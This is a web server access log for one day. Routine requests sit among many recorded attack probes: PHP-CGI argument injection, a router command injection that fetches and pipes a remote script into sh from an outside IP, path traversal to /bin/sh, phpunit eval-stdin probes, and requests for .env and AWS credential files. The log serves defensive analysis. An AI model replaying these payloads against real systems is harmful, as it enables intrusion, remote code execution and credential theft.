[30/Nov/2024:09:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:09:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:10:06:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:10:08:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:10:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:10:16:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:10:16:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:10:16:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /find.php/%E5%A6%82%E4%BD%95%E9%80%B2%E8%A1%8C%E7%9B%B8%E5%B0%8D%E5%BC%B7%E5%BC%B1%E5%88%86%E6%9E%90-osdrghmzlbnafjiyecteqzj-2 HTTP/1.1" -
[30/Nov/2024:10:16:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:10:20:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:10:20:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:10:20:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[30/Nov/2024:10:33:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:10:43:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:10:45:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.svg HTTP/1.1" 365616
[30/Nov/2024:10:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:10:54:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:11:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:11:33:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:11:50:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:11:54:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:12:08:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:12:12:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:12:13:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:12:33:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:12:51:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:12:52:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:12:52:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:12:52:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[30/Nov/2024:12:52:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ads.txt HTTP/1.1" 300
[30/Nov/2024:12:52:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app-ads.txt HTTP/1.1" 300
[30/Nov/2024:12:52:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /sellers.json HTTP/1.1" 300
[30/Nov/2024:12:54:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:13:03:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:13:03:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:13:03:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/replacebycode.html.locked HTTP/1.1" -
[30/Nov/2024:13:08:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
[30/Nov/2024:13:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
[30/Nov/2024:13:31:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:13:39:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:13:39:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:13:39:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/create-framework-project-zf1.html HTTP/1.1" 305
[30/Nov/2024:13:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:13:53:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:14:11:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:14:13:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:14:16:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:14:33:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:14:51:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:14:51:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:14:54:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:15:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:15:33:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:15:50:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:15:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:16:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:16:15:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:16:20:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:16:20:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:16:20:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:16:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:16:45:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:16:45:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:16:45:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/IMG_0724.JPG HTTP/1.1" 2779347
[30/Nov/2024:16:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:16:54:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:17:03:16 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:17:14:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/window/basic.html.locked HTTP/1.1" -
[30/Nov/2024:17:14:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:17:34:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:17:50:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:17:54:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:18:04:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /GPbc HTTP/1.1" 300
[30/Nov/2024:18:04:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /QsCV HTTP/1.1" 300
[30/Nov/2024:18:04:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab8 HTTP/1.1" 300
[30/Nov/2024:18:04:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 300
[30/Nov/2024:18:04:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab9 HTTP/1.1" 300
[30/Nov/2024:18:04:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 300
[30/Nov/2024:18:14:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:18:17:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:18:24:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:18:34:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:18:39:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[30/Nov/2024:18:40:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:18:40:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.bak HTTP/1.1" 300
[30/Nov/2024:18:40:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.default HTTP/1.1" 300
[30/Nov/2024:18:40:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production HTTP/1.1" 300
[30/Nov/2024:18:40:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env_sample HTTP/1.1" 300
[30/Nov/2024:18:40:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.env HTTP/1.1" 300
[30/Nov/2024:18:40:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[30/Nov/2024:18:40:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.aws/credentials HTTP/1.1" 300
[30/Nov/2024:18:51:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:18:55:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:19:14:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:19:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:19:39:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:19:39:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:19:39:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:19:50:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:19:54:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:20:09:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:20:09:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:20:09:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:20:09:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:20:09:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123.php HTTP/1.1" -
[30/Nov/2024:20:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:20:20:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:20:28:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:20:30:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/login1.jpg HTTP/1.1" 25789
[30/Nov/2024:20:31:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:20:34:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:20:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:21:14:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:21:15:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:21:15:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:21:15:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/validatebox_warning.png HTTP/1.1" 921
[30/Nov/2024:21:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:21:50:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:21:54:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:22:00:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/lock.png HTTP/1.1" 1062
[30/Nov/2024:22:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:22:23:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:22:32:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:22:33:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:22:45:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:22:45:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:22:45:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h5.png HTTP/1.1" 126
[30/Nov/2024:22:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:22:54:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 330
[30/Nov/2024:22:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 330
[30/Nov/2024:22:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 300
[30/Nov/2024:22:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:22:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
